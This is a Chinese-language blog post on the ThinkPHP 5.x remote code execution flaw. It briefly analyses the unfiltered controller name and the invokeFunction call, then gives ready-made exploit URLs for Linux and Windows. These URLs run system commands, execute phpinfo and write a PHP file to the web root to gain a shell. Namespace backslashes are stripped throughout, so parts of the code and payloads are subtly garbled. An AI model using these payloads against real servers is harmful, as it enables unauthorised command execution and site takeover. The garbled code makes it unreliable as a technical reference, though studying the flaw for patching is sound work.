ThinkPHP 远程命令执行漏洞利用(GetShell)

漏洞分析:

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell 漏洞受影响的版本(v5.0.23 及 v5.1.31 以下版本),推荐尽快更新到最新版本。

文件:thinkphp/library/think/App.php

code

  1. // 获取控制器名
  2. $controller       = strip_tags($result[1] ?: $this->rule->getConfig(‘default_controller’));

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入“”符号来调用任意类方法。

漏洞原理:

先来讲下,5.0 跟 5.1 的区别吧,tp5.1 中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0 是没有这两个新的类的。

我们先来看看 App 类里的 exec 函数里的执行分层控制器的操作:

code

  1. case ‘controller’: // 执行控制器操作
  2. $vars = array_merge(Request::instance()->param(), $dispatch[‘var’]);
  3. $data = Loader::action(
  4. $dispatch[‘controller’],
  5. $vars,
  6. $config[‘url_controller_layer’],
  7. $config[‘controller_suffix’]
  8. );
  9. break;

我们这里是把 controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

code

  1. public static function invokeFunction($function, $vars = [])
  2. {
  3. $reflect = new ReflectionFunction($function);
  4. $args    = self::bindParams($reflect, $vars);
  5. // 记录执行信息
  6. self::$debug && Log::record(‘[ RUN ] ‘ . $reflect->__toString(), ‘info’);
  7. return $reflect->invokeArgs($args);
  8. }

因为 thinkApp 是第二个入口,在 tp 运行的时候就会被加载 所以用 thinkApp 里面的分层控制器的执行操作的时候,需要去调用 invokeFunction 这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function 传入 baidu 然后$vars 传入[111,222]就相当于调用 baidu(111,222)

漏洞利用:

1.执行系统命令显示目录下文件:

code

  1. Linux:
  2. http://www.mysite.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=ls%20-l
  3. WIN:
  4. http://www.mysite.com/index.php?s=/index/thinkrequest/cache&key=ls%20-l|system

ThinkPHP 远程命令执行漏洞利用(GetShell)

2.执行 phpinfo

code

  1. Linux:
  2. http://www.mysite.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=php%20-r%20’phpinfo();’
  3. WIN:
  4. http://www.mysite.com/index.php?s=/index/thinkrequest/cache&key=1|phpinfo

ThinkPHP 远程命令执行漏洞利用(GetShell)

3.写入 info.php 文件

code

  1. 方法 1:
  2. http://www.mysite.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php
  3. 方法 2:
  4. http://www.mysite.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=info.php&vars%5B1%5D%5B%5D=%3C?php%20phpinfo();?%3E

访问 info.php

ThinkPHP 远程命令执行漏洞利用(GetShell)

温馨提示: 本文最后更新于2025-04-22 17:54:04,某些文章具有时效性,若有错误或已失效,请在下方 留言或联系 我的网站
© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容